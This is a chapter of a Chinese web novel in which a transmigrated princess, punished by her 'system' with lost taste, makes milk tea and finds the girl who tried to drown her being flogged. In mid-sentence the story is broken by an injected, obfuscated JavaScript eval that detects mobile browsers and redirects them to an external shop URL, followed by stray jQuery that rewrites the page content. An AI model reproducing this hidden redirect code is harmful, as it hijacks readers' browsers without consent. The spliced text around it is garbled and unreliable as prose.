一连几日,常安宁都没有出去过,就待在落云院内好好养伤。那日的剑痕如今已愈合,只剩下一截浅褐色的痂,在瓷白细腻的脖颈上格外显眼。
那天晚上和系统对话,系统说:“宿主想多啦!我是那么没有人性的东西吗?”
得到了想要的回答,常安宁便拿定了主意。
系统一旦绑定无法更改,但她不做的话也不需要承担什么要命的损失。反正谢怀昀也不待见她,她就不去他跟前碍眼了,就在自己院子里好好过日子。
系统急得吱哇乱叫,日日在脑海里催着她赶紧动起来,常安宁都没当回事。
今日日光正盛,常安宁躺在杏花树下的摇椅里假寐,粉白的花瓣落在她的如墨的长发上,青绿色的衣衫上,点缀其间,衬得她整个人清丽绝尘。
“宿主,你要是再不行动,强制措施将会启动,”末了,系统还特意强调了句,“我可不是在吓唬你!”
“你没看到上次我去见他,脖子受伤了吗?我伤还没养好呢,你就让我去,万一又受伤了怎么办?”
系统一吵,常安宁睡意全无。她站起身,花瓣簌簌而下,喊了声春茗。
“你去厨房拿点糯米、红茶、牛乳、砂糖、干桂花回来,今天天气这么好,我要做点奶茶喝,”常安宁不忘叮嘱,“记得多拿些回来。”
春茗很快便带着食材回来了。常安宁换了身轻便简洁的衣服便进了小厨房,准备做桂花红茶风味炒糯米奶茶,前世她就想做这个,谁知道竟然死在了采买所需食材的路上。
这种奶茶跟普通奶茶比起来所需材料会多些,工艺会更复杂些,味道会更醇香浓厚,所幸,需要的材料都是常见的,在这个资源匮乏的古代也能找得到。
常安宁将糯米倒进砂锅里,小火慢炒,谷物的焦香味道随着她手中小铲的翻滚渐渐四溢开来,等到雪白的糯米慢慢变至焦黄色,她又将准备好的茶叶以及干桂花倒进去一起翻炒,等到锅内爆出蜜糖般的暖香时,将炒料倒进瓷罐里密封储存,锁住糯米的酥脆焦香以及桂花的缠绵甜意。
“这个底料我炒得多,用不了那么多,剩下的存着等你们想喝了可以直接拿来用。”常安宁说得很详细,“不过下次用的时候必须得再锅里复炒一下,烘出来香味。”
春早在一旁看得目瞪口呆,赞叹道:“公主,您好厉害呀!味道好香,颜色好漂亮!”
常安宁笑了笑,手上不停,准备煮奶茶。
春茗进来了,拍了拍春早的肩,嗔怪道:“春早你怎么能一直在旁边看公主忙活?快帮公主打下手!”
常安宁笑笑说:“不用,我自己来便好,我很享受制作美食的过程。”
闻言,俩人也不再勉强,默默站在一边看。
常安宁将锅里剩下的继续翻炒了会,颜色澄黄明亮,很是漂亮,然后加入了些白糖,文火烘焙,等糖融化后又加入热水,干桂花星星点点,如同繁星,饱满的米粒在褐色汤底中沉沉浮浮,随后加入牛奶,小火炖煮,白色烟雾升腾而起,在柴火的加持下,奶茶表面结了一层厚厚的焦糖色奶皮子,色泽鲜亮,光是看着就要流口水了。
常安宁对此次成品非常满意,第一次尝试就大获成功。她将奶皮子轻轻用小铲拨至一边,露出底下的奶茶液体,用勺子舀着分装到小碗里。
“好了,你俩各端一碗尝尝怎么样,上面这个奶皮子可是精华,趁热吃。”常安宁说。
“公主,好香啊!光是闻着我都要流口水了!”春早说。
春茗笑道:“就你嘴馋。”
常安宁端起一碗,用鼻子细细地嗅着,沁甜的香味萦绕,慢慢渗透至心田。
久违了,奶茶!
她笑了笑,用勺子送入口中,却瞪大了眼睛,香味四溢的奶茶入口寡淡无味,她尝不出来味道了!
常安宁压下心里的慌乱,问道:“春早、春茗,你俩觉得这奶茶味道如何?”
春早不假思索道:“好喝得很!公主真是巧手,我从未喝过这般美味的茶饮!”
春茗认真思索了两秒道:“最先尝到的是糯米的焦香,而后是淡淡的桂花味,两种味道混合在一起,甜而不腻,回味无穷。公主,奴婢还是第一次见此等做法。”
常安宁勉强笑了笑,说:“好喝就多喝点,以后再给你们做其他的。”
春早春茗都能尝出味道,那就不是奶茶的问题,而是她的味觉失灵了。
想到了什么可能,常安宁唤出了系统:“系统,我味觉失灵了是不是你干的?”
系统很坦然地承认了:“由于宿主迟迟不进入主线,强制机制现已自动开启。不过宿主不必担心,味觉只是暂时失灵,只要宿主进行任务,获取1000幸福值后,宿主的味觉便会恢复。”
常安宁咬咬牙,系统这招实在是太狠了!她生平就两大爱好:做美食和吃美食。结果现在乐趣硬生生被剥夺了一半!
这对于一个资深吃货来说简直是生不如死,人生苦短,美食万千,要是一辈子都活在尝不出味道的世界里,那她还不如现在就死了呢。
常安宁重重闭了下眼睛,决定开启系统任务。谢怀昀再怎么可怕,再怎么难缠,她也要上,帮他治好厌食症。
下定决心后,她唤道:“春茗,你将奶茶装一份,随我去见王爷。”
春早纳闷道:“公主上次不还在说不愿与王爷见面吗?怎的今日改了主意?”
常安宁不能跟她说实话,便说:“我有事要跟王爷说。独乐乐不如众乐乐,这般好喝的奶茶,分着喝味道才会更好,春早你就留在院子里,将剩下的分给大家尝尝。”
春早觉得她说得有道理,乐呵呵应下道:“是,奴婢知晓了。公主真是心善。”
行至清竹院外,常安宁闻到了一股浓郁的血腥气味,而后听到了一阵板子拍打皮肉的声音,可见下手之人力道极大,毫不留情,传至耳中,令人心惊胆颤。
常安宁定了定神,迈步进了院内,瞥了眼正趴在凳子上的女子,心中惊讶。
她怎么也没想到竟然会在这里见到李冰月,李冰月惨白着一张脸,双眼失神,几缕额发被汗水打湿,黏腻地贴在脸颊上,雪白的衣衫早已被鲜血染透,顺着布料滴滴答答地往下流,洇湿了青石板,此刻已是出气多进气少,奄奄一息。
常安宁也只见过李冰月一面,当时她在后院荡秋千,李冰月主动上前行礼,俩人说了几句话,这是她俩的唯一一次见面。
后来听院里的婆子说,李冰月是谢怀昀手下副将的女儿,三岁丧母,十岁丧父,孤苦伶仃,无处可去。因其父对谢怀昀有过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480881|201729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
救命之恩,是以谢怀昀将年幼的她接进府中好生照料着,只等到年龄了给她寻个好人家。
常安宁想不通,李冰月这是犯了何事才会被如此对待?
她还是头一次目睹这么血淋淋的场面,心揪成了一团,难受极了,对行刑之人说道:“赶快住手。”
行刑之人看了眼谢怀昀,见他点头,行礼退下了。
常安宁不忍再看李冰月的惨状,偏过头来看向檐下的谢怀昀。谢怀昀穿着一身黑色长袍,身姿挺拔如松,周身气压极低,见常安宁过来,连个多余的眼神都没分给她,直接忽视了。
常安宁行了个礼,因谢怀昀长得高,又站得高,她只能仰头看着他,问道:“王爷,不知李姑娘所犯何事?要如此对她?”
常安宁虽然觉得谢怀昀这人心狠手辣,但也没觉得他像是会滥杀无辜之人。
毕竟,谢怀昀这人在外风评还挺好的,出身高贵却吃苦耐劳,十五岁便上前线带兵打仗,战无不胜,在大梁国,他是令人闻风丧胆的“冷面阎罗”,可在大夏,他却是深受百姓爱戴的“玉面将军”。
谢怀昀淡淡看了她一眼,反问道:“怎么?公主要替她求情?”
李冰月看起来柔柔弱弱,不像是坏人。可不还有句话说,知人知面不知心,常安宁虽对她印象不错,可若真犯了什么大错,她也没办法插手。
“并非求情,我只是好奇,李姑娘到底所犯何事值得王爷这般生气,罚她板子。”常安宁道。
她以为自己会得到“无可奉告”之类的回答,却没想到谢怀昀竟然说:“本王没有生气,公主不要多想。”
常安宁:“……”
他有没有生气是重点吗?重点是李冰月为何受罚啊!常安宁一时有些搞不懂谢怀昀的脑回路。
“公主前几日托本王找寻害你落水的凶手,如今人已找到,正是李冰月,”谢怀昀道,“是杀是留,公主自行裁断吧。”
闻言,常安宁恍然大悟。难怪李冰月会受此刑罚,原来她竟是推自己下水的人!
只是她想不明白,李冰月为何要这般做?
常安宁看向不知是死是活的李冰月,心中翻滚着无数的情绪,有愤怒,有不解,还有后怕,种种心绪缠绕着,最终只化为了一声轻叹。
她吩咐道:“春茗,找几个婆子来将李姑娘送回去,好生照料着,再去请个女大夫回来替她诊治。”
李冰月身子娇弱,挨了那么多板子,还不知道有没有命活下来。
谢怀昀在一旁看着她有条不紊地吩咐下人做事,眼里闪过一抹幽光,意味不明地说了声:“公主还真是心善,对自己的仇人都能这般体贴照顾。”
常安宁极淡地笑了下,说道:“王爷误会了,并非我心善,我只是想知晓李冰月为何要害我罢了。王爷肯定是不会告知我的,要想解惑,我也只能找当事人了。”
谢怀昀冷哼一声:“公主倒是有自知之明。若是无事,公主请回吧。”
“王爷,我做了点奶茶,特意带过来给王爷尝尝鲜,还请王爷赏脸品鉴一下。”她一袭青衣,金色阳光打在白嫩细腻的面庞上,笑得眉眼弯弯,连带着这满园绿色都生动了几分。
谢怀昀被她的笑容晃了下,愣了一瞬,而后偏过头去,拒绝道:“本王不吃。”